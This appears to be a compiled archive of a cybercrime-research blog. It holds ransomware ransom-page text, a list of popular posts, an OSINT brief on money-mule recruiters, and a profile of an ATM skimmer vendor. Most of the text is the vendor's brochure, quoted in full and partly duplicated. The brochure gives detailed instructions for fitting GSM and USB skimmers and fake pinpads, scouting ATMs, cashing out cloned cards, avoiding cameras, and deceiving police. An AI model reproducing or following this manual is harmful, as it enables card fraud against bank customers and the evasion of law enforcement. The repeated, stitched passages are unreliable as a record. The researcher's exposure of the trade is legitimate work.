To enter a code, use the virtual keyboard

MoneyPak SUBMIT

FRAUD ALERT: Use you MoneyPak number only with businesses listed at MoneyPak and United States Departament of Justice. If anyone else asks for your MoneyPak number? It's probably a scam. If a criminal gets your money, Green Dot is not responsible to pay you

Where can I buy a MoneyPak?

You can buy and load the card at most pharmacies and retail store locations.

MoneyPak is available at the below locations. For a full list, please visit the website.

Walmart CVS/pharmacy Walgreens

Second screenshot of a sample page displayed to affected U.K users:

Additional malicious payload obtained from the campaign:

[10]**MD5: fd47fe3659d7604d93c3ce0c0581fed7** - detected by 4 out of 44 antivirus scan-

What we've got here is a great example of the following - when you don't fear legal

prosecution for your fraudulent activities over a period of several years, earning you poten-

tially hundreds of thousands of dollars, you just launch new projects, continuing to cause more

harm and fraudulently obtain funds from infected victims.

For those who are interested in more details on the technical side of this Ransomware,

you should [14]**consider going through this research**.

Hat tip to Steven Adair from [15]**Shadowserver** for the additional input.

How likely are you to purchase commercially availalble CYBERINT reports conducted by Dancho Danchev?

- Quality speaks for itself, right away!
- Depends on the topics covered in the reports
- I'm very price-conscious, the price will shape my decision-making process
- I don't intend to buy any commercially available CYBERINT reports

Vote Show results

8.12.2 Upcoming

Portfolio

of

Commercially

Available

CYBERINT

Reports

(2012-12-13 13:38)

Valued blog readers,

Over the years, you've been exposed to insightful, in-depth, "God Eye's View" of some

of the most prolific, targeted, and trending cyber attacks/ cybercriminal schemes, that shaped

the way we fight and anticipate cybercrime campaigns throughout the years.

Although the production of such publicly available and socially oriented content at this

blog will continue, it's time to raise the stakes even higher - in 2013, I'll be systematically

making available commercially available CYBERINT assessments on multiple aspects of the

cybercrime ecosystem. It's the stuff that will help your decision-making process, it's the data

to help you prosecute those behind these fraudulent operations, it's the tactics and trends

you don't get to read about anywhere online.

Please, take 1 second of your precious time, and participate in the voting poll on the

right side of the blog.

Enjoy the holidays, and see you all in 2013!

8.12.3 Dancho Danchev's Blog Most Popular Posts for 2012 (2012-12-28 00:26)

The time has come to reflect on this year's most popular posts, and emphasize on the key

points about what made them special.

4075

1. [1]**Who's Behind the Koobface Botnet? - An OSINT Analysis** - Indisputably, the exposing

of Koobface botnet master KrotReal is this year's most popular blog post. The release of

the post, and the [2]**New York Times article** discussing the case, immediately resulted in

the shut down of [3]**the Koobface botnet**.

2. [4]**Exposing the Market for Stolen Credit Cards Data** - Although the post was originally

published in 2011, it's the second most popular for 2012, proving that factually presenting

the existence of a growing trend, inevitably reaches a wider audience.

3. [5]**Dissecting 'Operation Ababil' - an OSINT Analysis** - The OSINT analysis of 'Operation

Ababil' is this year's third most popular post. The analysis correctly identified a key partic-

ipant in certain parts of the campaign, although it explicitly emphasized on the fact just

how easy is it to launch a [6]**cyber false flag operation** online.

4. [7]**Profiling a Vendor of Visa/Mastercard Plastics and Holograms** - The main purpose of

this post, was to shed more light into the increasing availability of "blank plastic" services,

whose QA (Quality Assurance) processes sometimes outpace the OPSEC (Operational Se-

curity) efforts put in place by the targeted companies.

5. [8]**Pricing Scheme for a DDoS Extortion Attack** - This post highlighted a bold, but obtained

from "in the wild" DDoS extortion letter, indicating the degree of flexibility and profession-

alism applied by the cybercriminals behind it.

6. [9]**A Peek Inside the Vertex Net Loader** - This post summarized the key features of the

Vertex Net Loader, and emphasized on the systematic release of related DIY malware

loaders/bots within the cybercrime ecosystem.

7. [10]**Dissecting the Ongoing Mass SQL Injection Attack** - Regular readers of my personal

blog are used to getting the latest threat intelligence regarding a particular widespread

campaign, virtually in real-time. That was the main objective of this analysis, fortunately,

successfully achieved.

8. [11]**Dissecting the Massive SQL Injection Attack Serving Scareware** - An ever-green anal-

ysis demonstrating monetization of hijacked Web traffic through a scareware affiliate pro-

gram.

9. [12]**Koobface Botnet Master KrotReal Back in Business, Distributes Ransomware And**

Promotes BHSEO Service/Product - The second post in the series profiling ex-Koobface

botnet master KrotReal’s cybercrime-friendly operations, also gained a lot of attention,

and proved that the lack of prosecution in this case, can, and will, ultimately lead to more

cybercrime-friendly activities.

10. [13]**Dissecting 'Operation Ababil' - an OSINT Analysis - Part Two** - With 'Operation Ababil'

still an open question to many of the major media outlets, the second part of the analysis

discussed another tool used in the campaign, with the idea to raise more awareness on

the tools and techniques used by the attackers behind the campaign.

Thank you all for being regular blog readers! The best is yet to come! See you all in 2013!

9.1.1 Historical OSINT: OPSEC-Aware Money Mule Recruiters Hire, Host Crimeware

and Malvertisements (2013-01-05 16:10)

In the following intelligence brief, I will perform an analysis of the cybercriminal operations

involving a group of individuals that operated successfully though 2009/2010, recruiting

money mules, hosting ZeuS crimeware, and participating in a malvertising campaign.

Compared to a previous analysis where I profiled the [1]**offensive client-side exploita-**

tion campaigns launched by money mule recruiters, in this analysis I'll emphasize on yet

another OPSEC-aware ([2]**Operational Security**) gang of cybercriminals, this time blocking

access to Google and anti-money laundering Web sites/research, in an attempt to trick the

newly recruited mules into thinking that they're working for a legitimate company, preventing

them from obtaining info on their new "employer".

Key summary points:

• The group originally launched its operations in 2009, primary focusing on highly targeted

money mule recruitment campaigns

• Only two of the malicious domains involved in the 2009/2010's campaigns are still ac-

tive, with the first serving adult content, and the second offering name server services to

pharmaceutical scams, indicating they're didn't quite left the cybercrime ecosystem just

yet

• The cybercriminals behind the campaign impersonated the legitimate [3]**Sprott Asset**

Management company, and blocked access to its official site on mule's PCs that executed

the malicious SSL Certificate supplied to them as a requirement for joining the fake com-

pany

• Upon execution, the bogus SSL Certificate executable modified the

HOSTS file on the

affected hosts, blocking access to [4]**ddanchev.blogspot.com** and to [5]**bobbear.co.uk** to

prevent potential money mules from reaching my "[6]**Keeping Money Mule Recruiters on**

a Short Leash" series**,** and bobbear's vast archive of collected intelligence on money mule

recruitment campaigns

4079

• The group hosted multiple ZeuS crimeware variants using the same infrastructure as the

money mule recruitment campaigns, and also participated in a malvertising campaign

• Although their initial 2009 operations were launched from (**AS39134**), they later on mi-

grated to a Kazakhstan-based bulletproof hosting provider (**AS50793**) that's no longer in

operation, although there's a high probability that the Kazakhstan hosting service was

part of a franchise, and is currently operating in another part of the world. The Web site

of the bulletproof hosting provider was hosted in Ukraine (**AS6714**), an AS also known to

have participated in numerous crimeware campaigns

• The malicious activity (besides their operation) was found for **(AS39134)** indicating that

they probably got kicked out of the hosting provider for their attempts to recruit money

mules

• The domain name of the Kazakhstan-based bulletproof hosting

provider (**AS50793**) was

registered using a GMail account in 2010

• The Kazakhstan-based bulletproof ISP's domain name is currently registered to an Iranian

citizen, two years after the malicious activities took place, with no signs of malicious

activity currently taking place there

a

9.1.2 Historical OSINT - Profiling an OPSEC-Unaware Vendor of GSM/USB ATM Skim-

mers and Pinpads (2013-01-05 20:42)

On daily basis, I profile over a dozen of newly advertised (verified) vendors of ATM skimmers,

indicating that this market segment is still quite successful, thanks to the overall demand

for these 'tools-of-the-trade', allowing potential cybercriminals to enter the world of ATM

skimming.

In this post part of the "Historical OSINT" series, I'll profile the underground market propo-

sition of a vendor of GSM/USB ATM Skimmers and Pinpads, that appeared on my radar

back in 2008, with an emphasis on the lack of OPSEC (Operational Security) applied by

them, and the IP hosting changes of their main domain that took place

throughout 2008, in

particular, offer evidence of active multi-tasking on behalf of the same gang of cybercriminals.

What's particularly interesting about this vendor is the fact that, instead of advertising

across popular and well known cybercrime-friendly Web communities, they themselves

created a community around the market proposition, and started pitching their offer across

the public Web, a clear indication for a lack of OPSEC (Operational Security) awareness.

On 2006-04-06,

darkforum.net (ICQ 16-09-61/160961) was registered using the **al-**

saleh@gawab.com email.

On 2009-01-07,

the registration email changed to **blan-**

erds@hushmail.com. These emails are not known to have been used in previous cybercrime-

friendly campaigns.

Throughout 2008, the **darkforum.net** domain constantly changed IPs.

The following is a

complete list of the IP changes:

64.74.96.241

69.64.145.229 - IP already profiled in a [1]**previously published analysis**

63.251.92.197

216.8.177.23

69.25.142.57

208.73.212.12

87.242.73.96 - known [2]**C &C server**

64.208.225.139

The advertised brochure of the vendor:

Overview of the technology involved: Here is how it all works.

Full operating instructions are included with the entire package, this page is here for informa-

tive purposes. The Card Reader reads ATM & credit cards and sends the data tracks through

SMS to a phone. The pin-pad catches the pushing of the pin number through the keypad and

also sends the data through SMS.

SMS data comes to a programmable mobile phone number, which you will set to a safe

number of yours. It is advised to connect your phone to a computer, and download the track

data to your computer as it arrives. After every 2 message track+pin combo, an SMS is sent

from each GSM device with a status update. From your computer, you can keep track of the

whole operation.

The GSM Kit comes with an MSR206 device and track writing software. From your computer,

you retrieve the track data and pin numbers from SMS messages, and then write the tracks to

swipe cards with the cloned ATM/Credit cards, you simply use the pin to cash them out at ATM

machines.

4082

Receiving:

Received Data on the computer is encrypted. For the decryption, there is a separate program,

which is included on the software DVD. Decrypted data is then ready to be written on cards.

Thus we have a secure working environment.

None of your cashiers or crew can get

the unencrypted data. Only the user of the software, who controls the operation. This kit is

built on brand new technology. We have put a lot of time and money into the development

and design. As a result, this is currently the most efficient method of retrieving dumps and

pins.

for example the first skimmers were used with a camera, and on the given moment of

skimmer it works with the transmission of data on network GSM, with the sending SMS or

with the subtraction of data after calling it. In this case the complete reliability of the work

of equipment, checked by time and experience of many people. For example now we use

the multilayer printed-circuit boards, similar, as are used in the laptop computers or mob

telephones, with the silver contacts and the working from the oxidation although previously

they were altogether only old boards. Now for the size decrease is necessary to proceed with

decent expenditures in order to decrease the sizes and in this case to increase reliability.

Our skimmers were actually originally developed for personal use, not for sale.

They

were designed with the most robust, smallest and most efficient parts at each stage of the

building process.

4083

Why small? Well, it is better to have a small unit, that fits discretely onto the ATM machine.

Why GSM? Because it is possible to receive SMS at from a remote location. Nobody has ever

been caught by police with a GSM skimmer, to the best of our knowledge. Each day our team

is working on the development of newer and newer technologies. From time to time we apply

our improvements to our range of products. Thus we from time to time change to new designs

of housings; we improve the capability of batteries, or the switching system. For example, the

new version of our software has some improvements over previous versions and is regularly

updated. Usually clients send on their feature requests and we are frequently building them

into our newest kits.

Our skimmers can read a change in the rate of card conduction.

For example, if we in-

sert the card slowly, and then accelerate it, our magnetic strip reader will read and correct

this. We read both tracks info from both sides of the strip. We read reliably, with a 99.9 %

correct rate of reading. Sending of SMS occurs from the internal components of two Sony

Ericsson 850i units. The batteries, visible in some of the pictures are from Motorola phones.

The internal circuitry of the phones is connected to a digital circuit and chip which receive

the information from the pinpad and magnetic reader, respectfully. You will need 3 sim cards,

pre-paid is recommended. Each reading sends 4 SMS messages, 1 with the track information,

1 with the pin, and 1 from each unit with a status update.

On each sim card, you will have to save the phone number of your home mobile phone's sim

card under the name "home". The internal circuitry and interface with the SE850i unit will

look to this number to send both the track data and the pin numbers.

The internal processing chip encrypts the data before sending sms to the

computer.

In

the kit, the decoding program in included which with one click will transfer the crypted dump

into plain text. On opening this program, it is necessary to enter password. But if password is

incorrect that program will close with a system error message, rather than responding with an

incorrect password message. This is an obvious security feature. Each unit has an individual

serial number and password. The password is included in the full package. It is possible to

request that the password be communicated online, rather than be included with the software

and package.

4084

I will give couple of working examples of scenarios. If someone attempts to open the program

and types an incorrect password, an error message is displayed and the

software will "crash".

It gives the impression that the software is simply not working. But if the correct password

is entered, then it will start. If necessary, it is possible to simple say that the software is just

something downloaded from the Internet, but it does not work, and you forgot to remove it.

And no specialist will be able to prove what kind of program it is.

The exterior appearance and feel of our devices is built based on the original appear-

ance of the ATM machine. In other words, if in one instrument incorporates smooth lines,

and sleek curves, then our device will appear very similar on its exterior housing.

It is

virtually unnoticeable that there has been a modification to the ATM. The paint, with which

we spray our housings is matched to the paint on the original ATMs. Our method of colouring

accurately reproduces the originals, while maintaining all the characteristics of colouring,

including varying temperature conditions, the angle of incidence of the paint, pressure, time

of polymerization, etc.

As such we attained a perfect match of paint, tone of paint, reflection, and nuances

with the different angles of incidence of light, feeling of the surface and so forth. On the job,

this looks and feels exactly the same as an un-modified ATM. All instruments are powered

from Li-on batteries. A charger is included in the complete set. Each battery is sufficient for

2-3 days of work (at a rated temperature of 22 Celsius). We have carried out extensive tests

to find the maximum quantity of SMS which can be sent from one battery. Tests showed that

we could send 1400 SMS from one battery without a recharge. The majority of the time, the

instrument stands in standby mode. Very little power is used until the card is inserted or the

pinpad is pressed, when track data is collected, and pins are collected.

The complete set comes with everything you need to run a full operation. However, the

batteries need to be fully charged and recharged. This means that it is necessary to give 2-3

4085

complete cycles of charging and discharging. This makes possible for battery to work longer.

As a rule by this "warming-up" of the batteries an increase of the length of time they will

operate will increase by 30-40 %.

Again we stress that we are moving ahead, and developing more advanced devices. The

current range for sale has been extensively tested and proven as a reliable kit.

USB Flash memory skimmers:

We have a cheaper range of non-GSM skimming kit for sale. This is mostly bought by new

users, as experienced, wealthy crews will be using the more modern GSM skimmers.

Our range starts with a basic skimmer & hidden camera, pre installed inside a discrete

case, with flash storage and timestamps.

Our basic skimmers are just as discrete and

physically sound as our expensive GSM kit. They contain a 512 mb flash card, and a ROM chip

with tiny card writer to record the info to the micro sd card. These kits come with an MSR206

and a multi card reader to retrieve the dumps + pins from both devices.

If you already own an MSR206, it can be removed from the package and a small dis-

count can be given.

Pinpad info

Basic features of our pinpads are:

1. Ultra thin, around 3mm and it looks slimmer because of some design tricks

2. Real Stainless-Steel Material Frame and the keys

3. Exact same size as the actual ATM's pinpad

4. Special plated Frame and Keys that does not hold any

Fingerprints well

5. Ultra low power consumption

6. Various languages supported

4087

Technical Information on Charging and Communicating:

As usual, you may charge your pinpad through the USB communication cable. Charging is au-

tomatic, when you plug the cable into the pinpad, it will start charging. You can communicate

with the pinpad while charging. You should charge your pinpad for a minimum 2 hours before

operation. Try to use a USB Port on a Desktop Computer instead of a Laptop or USB hub. If u

need to use a laptop then make sure you are using laptop with its power adapter connected,

otherwise you will try to charge pinpads Battery with laptop's battery and this will result in

poor charging. Remember, you have to check date and time of your pinpad and adjust it if

needed before operation. Setting the date/time is very easy using the software provided.

There are some limits on USB Charging.

USB Charging is good if your skimming oper-

ation last 12-16 hours.

If you require your pinpad to last longer then you have to buy

Lithium-Polymer(Li-Po) 3.7v Generic charger for charging the battery of your pinpad. We can

include this with the full kit for an extra cost. You may contact to us if you bought a Li-Po

charger and want to use it with your pinpad.

You must be extremely careful when plugging the cable into the pinpad!

There was not

enough space in the pinpad for us to place a generic USB socket that eliminates user mistakes

when plugging in the cable.

We used plain socket that allows user to plug cable in any

direction/position.

If you plug the cable in the wrong direction/position then your pinpad

electronics may be damaged. There also a risk to your battery. So pay special attention when

plugging the cable into your pinpad for data transfer and/or charging. Check the picture below

for concise instructions on how to plug the cable into your pinpad.

Follow these steps for easy plugging:

1. Identify the Red Wire on the cable's socket

2. Identify the Red Wire on pinpads Socket

3. Red wire of pinpads socket should always be near the Crystal, and should join with the

other red wire.

4. Then plug it like this:

Information on Installing and Removing to/from ATM:

You should use transparent fast glues for glue your Pinpad. You have to be very careful on

NOT TO GLUE the Membrane of your Pinpad. You only need to glue the back of the frame of

the Pinpad, only places where it touches the ATM. Again, no membrane or keys!!! You should

use 2 holes designed for removing Pinpad from the ATM. You may use a small screwdriver or

knife or similar.

You have to be very careful when removing the pinpad from the ATM. You should not

damage membrane of the pinpad when using screwdriver or knife to remove it.

Several

practice attempts, on a flat surface are recommended.

You should try with very small amount of glue for your tests to see and understand how

it sticks. Then you should decide what amount of glue will be used when you are on the job.

Your tests are the key to your success. Test your skimmer on the ATM with no Glue/Less Glue

etc. for experience. Never start to skimming before feeling you understand all the logic.

Our Software Description

To work with a skimmer, a computer is necessary of course. You need to save your dumps

(card data tracks) there! We will provide you with software, which can completely control your

skimmer. Using this software, you can download dumps from skimmer/ input them from SMS,

remove them from skimmer unit, etc.

The program saves everything in crypted form.

So that you don't have to worry about

being ripped off. No one will be able to retrieve your data without the password. The password

is included in the complete package, or can be sent separately online for security purposes.

Each skimmer is basically a small computer, with a processor, flash storage, the internals of

a SE850i mobile(cellular/GSM) phone, through which it sends info, and it has an EEPROM chip

which boots up and operates the unit. So that takes care of software and passwords. Software

is supplied in the complete set with the equipment directly to the buyer, even if transaction is

done through some mediator, and passwords are given only to the buyer. We make so that

the mediator cannot obtain both the software and the passwords.

The program does not show dumps on the screen. Also it does not preserve dumps in the open

form. With the retention they are ciphered by a serious key. At the start of program it will

request your password. But if password is introduced incorrect that it simply closes down and

prints a system error on the screen. This creates the impression that the program is simply

nonworking. And if you will not input the correct password, there's no way to even know what

kind of program it is. This was created so that non-critical people with an attempt at the start

would not attempt to select password. Let's just say suddenly, the police get the laptop, on

which the program is installed. Naturally, they will ask you about the password. If you are

creative, you will give them a fake password, which they enter it, and the program will simply

shut down and writes that an error occurred. This will give the impression that the program

is nonworking. And you can boldly tell that the "program never worked, and I just forgot to

delete it". The dumps are stored in an encrypted file, which it is not possible to decrypt. There

will be no evidence left on your computer, once the police do not get a hold of the password.

The software itself is easy to use. There is no extra options or excess instructions. It is

self explanatory, but full instructions are included with the full kit. If you have any other

questions we will try our best to answer them from our administration team or our software

developers.

Safety:

We are often asked questions about safety when we are working with skimmers. On this page,

I will try to give some good safety advice for cashing out and operating a successful skimming

operation.

Observation:

It is recommended to observe the target ATM, unobtrusively for 1-2 days before hand. Record

at what times the ATM is busy, what times it is quiet, and at what time it is serviced and money

is put into the machine, if it is a free standing unit.

Equipment preparation:

It is recommended to check all your equipment before the installation. Make sure that you

have practised with some dummy ATM cards before hand and have transferred your own ATM

card, or similar into track data, SMS, decrypt, and write to a "white card" with your MSR206

card writer.

4091

Work for the fitter/installer:

The installer must be good with their hands. They must accurately and rapidly carry out his

work, and quietly leave the area. Some crews will have their fitter dress up in a uniform to

make them appear to be servicing the ATM. This is not such a good idea. Just go to the ATM

when it is quiet. Perhaps have an assistant stand a distance away, to distract passers-by or

other users of the ATM. The whole process can take less than 30 seconds.

Operation of the device:

Place, and the time of the installation should be selected beforehand. An observation point

might be necessary. There should be somewhere to safely park your car from which to observe

the operation of the skimmer and pinpad. If you are waiting in a car, it is not recommended

that you have a laptop + msr + phone receiving and writing the data. If the operation is

busted in this manner, you lose everything. However, if you are at home, you will have at least

several hours in which to write the cards and cash them out. Your observation person should

have enough food, water, etc to last in the car for the complete duration of the operation if

possible. One plan that some crews use now is observation from an apartment or hotel close

to the ATM. With this, you can cut down on the number of your crew. But be careful use fake

identification if you can.

Full details of the installation are described with pictures in a series of PDF files included on

the software and instructions DVD. The fitter/installer should put a card into the machine and

reject it quickly when fitting. The receiver, working on the "home" computer, will receive the

track, and confirm that it stuck on properly. 99 % of the time, it sticks no problem. This is also

useful to find that the card is ejecting properly.

4093

When removing equipment, your crew should be trained and ready. Some crews do not risk

withdrawing equipment as the average 1-day run will net $20,000-$50,000 USD depending on

where you are. However if you are confident about removing it, you should take it to run the

operation again. If apprehended while removing the equipment, the remover should protest

innocence. They should say that they saw something suspicious, and were trying to take it

off the ATM to being to police/bank. The crew member should look and act like a respectable

citizen. You do not need a crew of thugs for this operation. You need a well-spoken, relaxed,

confident team. It can be done with just 2 people, but 3 is recommended. Observing the guy

removing the kit is a good idea, and walkie-talkies are useful. If the observer sees someone

approaching the removal guy, he should "squak" his walkie-talkie, and the remover can

disappear quickly.

4094

Cashing out the money:

On many ATMs, there is a monitoring camera. Cameras are usually motion activated. We

advise that you do not stay at one ATM more than 5 minutes, and do not tie up an ATM if there

are people in the queue. Do not always cash out at an ATM belonging to one single bank, nor

should you ever cash out your cards on the ATM that you skimmed them on.

4095

Price List

Model	USB memory:	GSM:
Wincor Nixdorf Procash 2150	€2900	€5600
Diebold	€2800	€4800

*Our Diebold are easily adapted to fit almost all Diebold machines. Please contact us if you have any special requests.

The Kit includes a software dvd (with full instructions), MSR206, Skimmer + Pinpad, and encryption key to decode dumps which are encrypted on the devices.

Many crews will have several people working on cashing out, and they work 10 cards per

person per time, all returning the money to the controller periodically. If you are cashing out

at night at a quiet ATM, having hoods up is a good idea to prevent the camera from seeing

you.That's just about everything you need to know to operate a safe, extremely lucrative ATM

skimming business.

4096

The Kit includes a software dvd (with full instructions), MSR206, Skimmer + Pinpad, and

encryption key to decode dumps which are encrypted on the devices. Note: Only skimmed

tracks are encrypted, pins are not encrypted.

Rental Schemes are available, where we

keep the encryption key for the 1st operation of the skimmer, and provide you with 20 un-

encrypted dumps + pins. This rental scheme costs €1400 for USB kits, and €2200 for GSM kits.

My initial discovery of this cybercrime-friendly market proposition, coincides with the

publication of a related post back in 2008, for the first time ever publicly disclosing important

details regarding the emergence of [3]**ATM Skimmers with built-in GSM modules**.

Nowadays, these are everyday reality.

has ever been caught by police with a GSM skimmer, to the best of our knowledge. Each day

our team is working on the development of newer and newer technologies. From time to time

we apply our improvements to our range of products. Thus we from time to time change to

new designs of housings; we improve the capability of batteries, or the switching system. For

example, the new version of our software has some improvements over previous versions

and is regularly updated. Usually clients send on their feature requests and we are frequently

building them into our newest kits.

Our skimmers can read a change in the rate of card conduction.

For example, if we in-

sert the card slowly, and then accelerate it, our magnetic strip reader will read and correct

this. We read both tracks info from both sides of the strip. We read reliably, with a 99.9 %

correct rate of reading. Sending of SMS occurs from the internal components of two Sony

Ericsson 850i units. The batteries, visible in some of the pictures are from Motorola phones.

4101

The internal circuitry of the phones is connected to a digital circuit and

chip which receive

the information from the pinpad and magnetic reader, respectfully. You will need 3 sim cards,

pre-paid is recommended. Each reading sends 4 SMS messages, 1 with the track information,

1 with the pin, and 1 from each unit with a status update.

On each sim card, you will have to save the phone number of your home mobile phone's sim

card under the name "home". The internal circuitry and interface with the SE850i unit will

look to this number to send both the track data and the pin numbers.

The internal processing chip encrypts the data before sending sms to the computer.

In

the kit, the decoding program in included which with one click will transfer the crypted dump

into plain text. On opening this program, it is necessary to enter password. But if password is

incorrect that program will close with a system error message, rather than responding with an

incorrect password message. This is an obvious security feature. Each unit has an individual

serial number and password. The password is included in the full package. It is possible to

request that the password be communicated online, rather than be included with the software

and package.

I will give couple of working examples of scenarios.

If someone attempts to open the

program and types an incorrect password, an error message is displayed and the software

will "crash". It gives the impression that the software is simply not working. But if the correct

password is entered, then it will start.

If necessary, it is possible to simple say that the

software is just something downloaded from the Internet, but it does not work, and you forgot

to remove it. And no specialist will be able to prove what kind of program it is.

The exterior appearance and feel of our devices is built based on the original appear-

ance of the ATM machine. In other words, if in one instrument incorporates smooth lines,

and sleek curves, then our device will appear very similar on its exterior housing.

It is

virtually unnoticeable that there has been a modification to the ATM. The paint, with which

we spray our housings is matched to the paint on the original ATMs. Our method of colouring

accurately reproduces the originals, while maintaining all the characteristics of colouring,

including varying temperature conditions, the angle of incidence of the paint, pressure, time

of polymerization, etc.

As such we attained a perfect match of paint, tone of paint, reflection, and nuances

with the different angles of incidence of light, feeling of the surface and so forth. On the job,

this looks and feels exactly the same as an un-modified ATM. All instruments are powered

from Li-on batteries. A charger is included in the complete set. Each battery is sufficient for

2-3 days of work (at a rated temperature of 22 Celsius). We have carried out extensive tests

to find the maximum quantity of SMS which can be sent from one battery. Tests showed that

we could send 1400 SMS from one battery without a recharge. The majority of the time, the

instrument stands in standby mode. Very little power is used until the card is inserted or the

pinpad is pressed, when track data is collected, and pins are collected.

The complete set comes with everything you need to run a full operation. However, the

batteries need to be fully charged and recharged. This means that it is necessary to give 2-3

complete cycles of charging and discharging. This makes possible for

battery to work longer.

As a rule by this "warming-up" of the batteries an increase of the length of time they will

operate will increase by 30-40 %.

4103

Again we stress that we are moving ahead, and developing more advanced devices. The

current range for sale has been extensively tested and proven as a reliable kit.

USB Flash memory skimmers:

We have a cheaper range of non-GSM skimming kit for sale. This is mostly bought by new

users, as experienced, wealthy crews will be using the more modern GSM skimmers.

Our range starts with a basic skimmer & hidden camera, pre installed inside a discrete

case, with flash storage and timestamps.

Our basic skimmers are just as discrete and

physically sound as our expensive GSM kit. They contain a 512 mb flash card, and a ROM chip

with tiny card writer to record the info to the micro sd card. These kits come with an MSR206

and a multi card reader to retrieve the dumps + pins from both devices.

If you already own an MSR206, it can be removed from the package and a small dis-

count can be given.

Pinpad info

Basic features of our pinpads are:

4104

1. Ultra thin, around 3mm and it looks slimmer because of some design tricks

2. Real Stainless-Steel Material Frame and the keys

3. Exact same size as the actual ATM's pinpad

4. Special plated Frame and Keys that does not hold any

Fingerprints well

5. Ultra low power consumption

6. Various languages supported

Technical Information on Charging and Communicating:

As usual, you may charge your pinpad through the USB communication cable. Charging is au-

tomatic, when you plug the cable into the pinpad, it will start charging. You can communicate

with the pinpad while charging. You should charge your pinpad for a minimum 2 hours before

operation. Try to use a USB Port on a Desktop Computer instead of a Laptop or USB hub. If u

need to use a laptop then make sure you are using laptop with its power adapter connected,

otherwise you will try to charge pinpads Battery with laptop's battery and this will result in

poor charging. Remember, you have to check date and time of your pinpad and adjust it if

needed before operation. Setting the date/time is very easy using the software provided.

There are some limits on USB Charging.

USB Charging is good if your skimming oper-

ation last 12-16 hours.

If you require your pinpad to last longer then you have to buy

Lithium-Polymer(Li-Po) 3.7v Generic charger for charging the battery of your pinpad. We can

include this with the full kit for an extra cost. You may contact to us if you bought a Li-Po

charger and want to use it with your pinpad.

You must be extremely careful when plugging the cable into the pinpad!

There was not

enough space in the pinpad for us to place a generic USB socket that eliminates user mistakes

when plugging in the cable.

We used plain socket that allows user to plug cable in any

direction/position.

If you plug the cable in the wrong direction/position then your pinpad

electronics may be damaged. There also a risk to your battery. So pay special attention when

plugging the cable into your pinpad for data transfer and/or charging. Check the picture below

for concise instructions on how to plug the cable into your pinpad.

Follow these steps for easy plugging:

1. Identify the Red Wire on the cable's socket

2. Identify the Red Wire on pinpads Socket

3. Red wire of pinpads socket should always be near the Crystal, and should join with the

other red wire.

4. Then plug it like this:

Information on Installing and Removing to/from ATM:

You should use transparent fast glues for glue your Pinpad.

You have to be very careful

on NOT TO GLUE the Membrane of your Pinpad. You only need to glue

the back of the frame of

the Pinpad, only places where it touches the ATM. Again, no membrane or keys!!! You should

use 2 holes designed for removing Pinpad from the ATM. You may use a small screwdriver or

knife or similar.

You have to be very careful when removing the pinpad from the ATM. You should not

damage membrane of the pinpad when using screwdriver or knife to remove it.

Several

practice attempts, on a flat surface are recommended.

You should try with very small amount of glue for your tests to see and understand how

it sticks. Then you should decide what amount of glue will be used when you are on the job.

Your tests are the key to your success. Test your skimmer on the ATM with no Glue/Less Glue

etc. for experience. Never start to skimming before feeling you understand all the logic.

Our Software Description

To work with a skimmer, a computer is necessary of course.

You need to save your

dumps (card data tracks) there! We will provide you with software, which can completely

control your skimmer. Using this software, you can download dumps from skimmer/input

them from SMS, remove them from skimmer unit, etc.

The program saves everything in crypted form.

So that you don't have to worry about

being ripped off. No one will be able to retrieve your data without the password. The password

is included in the complete package, or can be sent separately online for security purposes.

Each skimmer is basically a small computer, with a processor, flash storage, the internals of

a SE850i mobile(cellular/GSM) phone, through which it sends info, and it has an EEPROM chip

which boots up and operates the unit. So that takes care of software and passwords. Software

is supplied in the complete set with the equipment directly to the buyer, even if transaction is

done through some mediator, and passwords are given only to the buyer. We make so that

the mediator cannot obtain both the software and the passwords.

4107

The program does not show dumps on the screen.

Also it does not preserve dumps in

the open form. With the retention they are ciphered by a serious key. At the start of program

it will request your password. But if password is introduced incorrect that it simply closes

down and prints a system error on the screen. This creates the impression that the program

is simply nonworking. And if you will not input the correct password,

there’s no way to even

know what kind of program it is. This was created so that non-critical people with an attempt

at the start would not attempt to select password. Let’s just say suddenly, the police get the

laptop, on which the program is installed. Naturally, they will ask you about the password. If

you are creative, you will give them a fake password, which they enter it, and the program

will simply shut down and writes that an error occurred. This will give the impression that

the program is nonworking. And you can boldly tell that the "program never worked, and I

just forgot to delete it". The dumps are stored in an encrypted file, which it is not possible to

decrypt. There will be no evidence left on your computer, once the police do not get a hold of

the password.

The software itself is easy to use. There is no extra options or excess instructions. It is

self explanatory, but full instructions are included with the full kit. If you have any other

questions we will try our best to answer them from our administration team or our software

developers.

4108

Safety:

We are often asked questions about safety when we are working with skimmers.

On

this page, I will try to give some good safety advice for cashing out and operating a successful

skimming operation.

Observation:

It is recommended to observe the target ATM, unobtrusively for 1-2 days before hand. Record

at what times the ATM is busy, what times it is quiet, and at what time it is serviced and money

is put into the machine, if it is a free standing unit.

Equipment preparation:

It is recommended to check all your equipment before the installation. Make sure that you

have practised with some dummy ATM cards before hand and have

transferred your own ATM

card, or similar into track data, SMS, decrypt, and write to a "white card" with your MSR206

card writer.

4109

Work for the fitter/installer:

The installer must be good with their hands. They must accurately and rapidly carry out his

work, and quietly leave the area. Some crews will have their fitter dress up in a uniform to

make them appear to be servicing the ATM. This is not such a good idea. Just go to the ATM

when it is quiet. Perhaps have an assistant stand a distance away, to distract passers-by or

other users of the ATM. The whole process can take less than 30 seconds.

Operation of the device:

Place, and the time of the installation should be selected beforehand. An observation point

might be necessary. There should be somewhere to safely park your car from which to observe

the operation of the skimmer and pinpad. If you are waiting in a car, it is not recommended

that you have a laptop + msr + phone receiving and writing the data. If the operation is

busted in this manner, you lose everything. However, if you are at home, you will have at least

several hours in which to write the cards and cash them out. Your observation person should

have enough food, water, etc to last in the car for the complete duration of the operation if

possible. One plan that some crews use now is observation from an apartment or hotel close

to the ATM. With this, you can cut down on the number of your crew. But be careful use fake

identification if you can.

4110

ICQ 160 961
www.darkforum.net

Full details of the installation are described with pictures in a series of PDF files included on

the software and instructions DVD. The fitter/installer should put a card into the machine and

reject it quickly when fitting. The receiver, working on the "home" computer, will receive the

track, and confirm that it stuck on properly. 99 % of the time, it sticks no problem. This is also

useful to find that the card is ejecting properly.

4111

When removing equipment, your crew should be trained and ready.

Some crews do not

risk withdrawing equipment as the average 1-day run will net $20,000-$50,000 USD depend-

ing on where you are. However if you are confident about removing it, you should take it to

run the operation again. If apprehended while removing the equipment, the remover should

protest innocence. They should say that they saw something suspicious, and were trying

to take it off the ATM to being to police/bank. The crew member should look and act like a

respectable citizen. You do not need a crew of thugs for this operation. You need a well-spoken,

